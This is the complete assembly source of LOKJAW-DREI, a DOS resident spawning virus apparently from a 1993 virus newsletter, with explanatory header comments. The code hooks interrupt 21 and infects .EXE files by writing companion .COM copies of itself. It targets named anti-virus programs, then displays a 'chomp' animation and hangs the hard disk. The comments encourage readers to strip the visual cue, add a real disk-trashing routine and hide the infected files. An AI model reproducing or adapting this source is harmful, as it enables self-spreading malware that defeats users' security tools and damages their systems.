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|
||||
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
|
||||
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
|
||||
;
|
||||
;LOKJAW-DREI is a resident spawning virus which installs itself in
|
||||
;memory using the same engine as the original Civil War/Proto-T virus.
|
||||
;It is simpler in that none of its addresses have to be
|
||||
;relative, an indirect benefit of the fact that the virus has no
|
||||
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
|
||||
;just like a number of other companion/spawning viruses published in
|
||||
;previous newsletters.
|
||||
;
|
||||
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
|
||||
;itself as companion .COMfile to the "host." Due to the inherent rules
|
||||
;of DOS, this ensures the virus will be executed before the "host" the
|
||||
;next time the infected program is used. In reality, LOKJAW is even
|
||||
;simpler than that. If not in memory, the first time the host is
|
||||
;called, LOKJAW will go resident and not even bother to load it.
|
||||
;In most cases, the user will assume a slight error and call the host
|
||||
;again, at which point it will function normally. LOKJAW will then infect
|
||||
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
|
||||
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
|
||||
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
|
||||
;
|
||||
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
|
||||
;retaliating virus by quickly deleting the anti-virus program before it
|
||||
;can execute and then displaying a "chomping" graphic. Even if the anti-
|
||||
;virus program cannot detect LOKJAW in memory, it will be deleted. This
|
||||
;makes it essential that the user know how to either remove the virus from
|
||||
;memory before beginning anti-virus measures, or at the least run the
|
||||
;anti-virus component from a write-protected disk. At a time when retail
|
||||
;anti-virus packages are becoming more complicated - and more likely that the
|
||||
;average user will run them from default installations on his hard file -
|
||||
;LOKJAW's retaliating power makes it a potentially very annoying pest.
|
||||
;A virus-programmer serious about inconveniencing a system could do a
|
||||
;number of things with this basic idea. They are;
|
||||
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
|
||||
; instantly.
|
||||
; 2. Alter the_stinger routine, so that the virus immediately attacks the
|
||||
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
|
||||
; merely makes the disk inaccessible until a warm reboot if an anti-virus
|
||||
; program is employed against it. By placing
|
||||
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
|
||||
; an unknowing user to employ anti-virus measures on a machine where
|
||||
; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
|
||||
; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
|
||||
; is run against them from a write-protected diskette, LOKJAW-DREI
|
||||
; won't. It will recognize the anti-virus program, display the "chomp"
|
||||
; and mimic trashing the hard file. This effect makes the disk inacessible
|
||||
; until the machine is rebooted.
|
||||
;
|
||||
;The anti-anti-virus strategies are becoming more common in viral programming.
|
||||
;Mark Ludwig programmed the features of a direct-action retaliating
|
||||
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
|
||||
;Encroacher viruses attack anti-virus software by deletion of key files.
|
||||
;And in this issue, the Sandra virus employs a number
|
||||
;of anti-anti-virus features.
|
||||
;
|
||||
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
|
||||
;DREI infected files from a system, simply delete the "companion" .COM
|
||||
;duplicates of your executables. Ensure that the machine has been booted
|
||||
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
|
||||
;time it will be necessary for you to restore the contaminated files from
|
||||
;a clean back-up.
|
||||
;
|
||||
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
|
||||
;files in plain sight. Generally, spawning viruses make themselves
|
||||
;hidden-read-only-system files. This is an easy hack and the code is supplied
|
||||
;in earlier issues of the newsletter. The modification is left to
|
||||
;the reader as an academic exercise.
|
||||
|
||||
|
||||
.radix 16
|
||||
cseg segment
|
||||
model small
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||||
assume cs:cseg, ds:cseg, es:cseg
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||||
|
||||
org 100h
|
||||
|
||||
oi21 equ endit
|
||||
filelength equ endit - begin
|
||||
nameptr equ endit+4
|
||||
DTA equ endit+8
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
begin: jmp virus_install
|
||||
|
||||
note:
|
||||
db '[l™‡kõ„W-dâ��].á�.šrã$ņd‰M–$'
|
||||
db 'ÅH‹$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
|
||||
db '€â˜ž.¥‰w$Àä×îâ' ;I.D. note: will doubtless
|
||||
;show up in VSUM
|
||||
|
||||
|
||||
;install
|
||||
virus_install: mov ax,cs ; reduce memory size
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a
|
||||
jne cancel
|
||||
mov ax,ds:[0003]
|
||||
sub ax,100
|
||||
mov ds:0003,ax
|
||||
Zopy_virus:
|
||||
mov bx,ax ; copy to claimed block
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax
|
||||
mov cx,offset endit - begin
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin]
|
||||
lea di,es:0100
|
||||
rep movsb
|
||||
|
||||
|
||||
|
||||
Grab_21:
|
||||
|
||||
mov ds,cx ; hook int 21h
|
||||
mov si,0084h ;
|
||||
mov di,offset oi21
|
||||
mov dx,offset check_exec
|
||||
lodsw
|
||||
cmp ax,dx ;
|
||||
je cancel ; exit, if already installed
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h ; revector int 21h to virus
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
check_exec:
|
||||
pushf
|
||||
|
||||
push es ; push everything onto the
|
||||
push ds ; stack
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
|
||||
cmp ax,04B00h ; is the file being
|
||||
|
||||
|
||||
|
||||
jne abort ; executed?
|
||||
|
||||
|
||||
|
||||
|
||||
;if yes, try the_stinger
|
||||
do_infect: call infect ; then try to infect
|
||||
|
||||
|
||||
|
||||
|
||||
abort: ; restore everything
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
pop es
|
||||
popf
|
||||
|
||||
Bye_Bye:
|
||||
; exit
|
||||
jmp dword ptr cs:[oi21]
|
||||
|
||||
|
||||
new_24h:
|
||||
mov al,3 ; critical error handler
|
||||
iret
|
||||
|
||||
infect:
|
||||
mov cs:[name_seg],ds ; here, the virus essentially
|
||||
mov cs:[name_off],dx ; copies the name of the
|
||||
|
||||
cld ; loaded file into a buffer
|
||||
mov di,dx ; so that it can be compared
|
||||
push ds ; against the default names
|
||||
pop es ; in the_stinger
|
||||
mov al,'.' ; subroutine
|
||||
repne scasb ; <--
|
||||
|
||||
call the_stinger ; check for anti-virus load
|
||||
; and deploy the_stinger
|
||||
|
||||
|
||||
|
||||
cld
|
||||
mov word ptr cs:[nameptr],dx
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs
|
||||
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21h
|
||||
|
||||
call searchpoint
|
||||
push di
|
||||
mov si,offset COM_txt
|
||||
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz do_com
|
||||
mov si,offset EXE_txt
|
||||
nop
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt
|
||||
nop
|
||||
call change_ext
|
||||
mov ax,3300h
|
||||
nop
|
||||
int 21h
|
||||
push dx
|
||||
|
||||
cwd
|
||||
inc ax
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
Grab24h:
|
||||
|
||||
mov ax,3524h
|
||||
int 21h
|
||||
push bx
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset new_24h
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||
xor cx,cx
|
||||
mov ah,05Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,filelength ;cx= length of virus
|
||||
mov dx,offset begin ;where to start copying
|
||||
mov ah,40h ;write the virus to the
|
||||
int 21h ;new file
|
||||
|
||||
mov ah,3Eh ; close
|
||||
int 21h
|
||||
|
||||
return1: pop ax
|
||||
pop ds
|
||||
pop dx
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
int 21h
|
||||
|
||||
mov si,offset EXE_txt
|
||||
call change_ext
|
||||
|
||||
return: mov ah,1Ah
|
||||
pop dx
|
||||
pop ds
|
||||
int 21H
|
||||
|
||||
ret
|
||||
|
||||
do_com: call findfirst
|
||||
cmp word ptr cs:[DTA+1Ah],endit - begin
|
||||
jne return
|
||||
mov si,offset EXE_txt
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return
|
||||
mov si,offset COM_txt
|
||||
call change_ext
|
||||
jmp short return
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
the_stinger:
|
||||
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'XR' ;VIRX
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
|
||||
jne next1
|
||||
cmp word ptr es:[di-5],'TS'
|
||||
je jumptoass
|
||||
|
||||
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
|
||||
jne next2
|
||||
cmp word ptr es:[di-5],'RP'
|
||||
je jumptoass
|
||||
|
||||
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
|
||||
jne next3
|
||||
cmp word ptr es:[di-5],'CS'
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN.
|
||||
jne next3 ; why not, eh?
|
||||
cmp word ptr es:[di-5],'EL'
|
||||
je jumptoass
|
||||
next3: ret
|
||||
jumptoass: jmp chomp ;assassination (deletion)
|
||||
; of anti-virus program
|
||||
chomp:
|
||||
push cs ; chomper visual
|
||||
pop ds
|
||||
mov ah, 03h
|
||||
int 10h
|
||||
mov [c1], bh ; save cursor
|
||||
mov [c2], dh
|
||||
mov [c3], dl
|
||||
mov [c4], ch
|
||||
mov [c5], cl
|
||||
mov ah, 1
|
||||
mov cl, 0
|
||||
mov ch, 40h
|
||||
int 10h
|
||||
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, 0Fh
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 0
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 0
|
||||
mov dl, 1Fh
|
||||
mov bh, 0
|
||||
int 10h
|
||||
|
||||
mov dx,offset eyes ; print the eyes
|
||||
mov ah, 9
|
||||
mov bl, 0Fh
|
||||
int 21h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 1
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DCh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 18h
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DFh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov dl, 0
|
||||
chomp_1:
|
||||
mov ah, 2
|
||||
mov dh, 2
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 55h
|
||||
mov bl, 0Fh
|
||||
mov cx, 1
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 17h
|
||||
inc dl
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0EFh
|
||||
mov bl, 0Fh
|
||||
int 10h
|
||||
|
||||
inc dl
|
||||
cmp dl, 50h
|
||||
jl chomp_1
|
||||
mov [data_1], 0
|
||||
chomp_3:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_4:
|
||||
loop locloop_4
|
||||
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_3
|
||||
mov [data_1], 0
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
chomp_5:
|
||||
mov ah, 6
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0Dh
|
||||
mov dh, 18h
|
||||
int 10h
|
||||
|
||||
mov ah, 7
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov dh, 0Ch
|
||||
int 10h
|
||||
mov cx, 3FFFh ; delays
|
||||
|
||||
locloop_6:
|
||||
loop locloop_6
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Bh
|
||||
jl chomp_5
|
||||
mov [data_1], 0
|
||||
chomp_7:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_8:
|
||||
loop locloop_8
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_7
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 18h
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov cl, 7
|
||||
mov ch, 6
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov bh, [c1]
|
||||
mov dh, [c2]
|
||||
mov dl, [c3]
|
||||
int 10h
|
||||
mov al, bh
|
||||
mov ah, 5
|
||||
int 10h
|
||||
mov ah, 1
|
||||
mov ch, [c4]
|
||||
mov cl, [c5]
|
||||
int 10h
|
||||
mov ax, 0003h
|
||||
int 10h ; sort of a cls
|
||||
mov ax, 00ffh
|
||||
|
||||
mov si,0 ;scarey part: drive reads real
|
||||
scarey: lodsb ;fast ala Michelangelo-style
|
||||
mov ah,al ;over-write, but this routine only
|
||||
lodsb ;gets random bytes here for a
|
||||
and al,3 ;cylinder to READ
|
||||
mov dl,80h
|
||||
mov dh,al
|
||||
mov ch,ah
|
||||
mov cl,1
|
||||
mov bx,offset last ;buffer to read into
|
||||
mov ax,201h
|
||||
int 13h ;jump into a loop, effectively hang machine
|
||||
jmp short scarey ;yow! scarey! just think if this
|
||||
;was made by someone not as nice as
|
||||
;me.
|
||||
;It's not much of a stretch to
|
||||
;imagine a routine for thumping
|
||||
;the hard file in place of scarey.
|
||||
;A retaliating virus of this
|
||||
;nature is a distinct
|
||||
;possibility.
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
|
||||
|
||||
data_1 db 0
|
||||
data_2 db 0
|
||||
|
||||
last db 090H
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
|
||||
c1 db 0
|
||||
c2 db 0
|
||||
c3 db 0
|
||||
c4 db 0
|
||||
c5 db 0
|
||||
note2: db 'Lokjaw-Drei'
|
||||
|
||||
endit:
|
||||
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
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Reference in New Issue
Block a user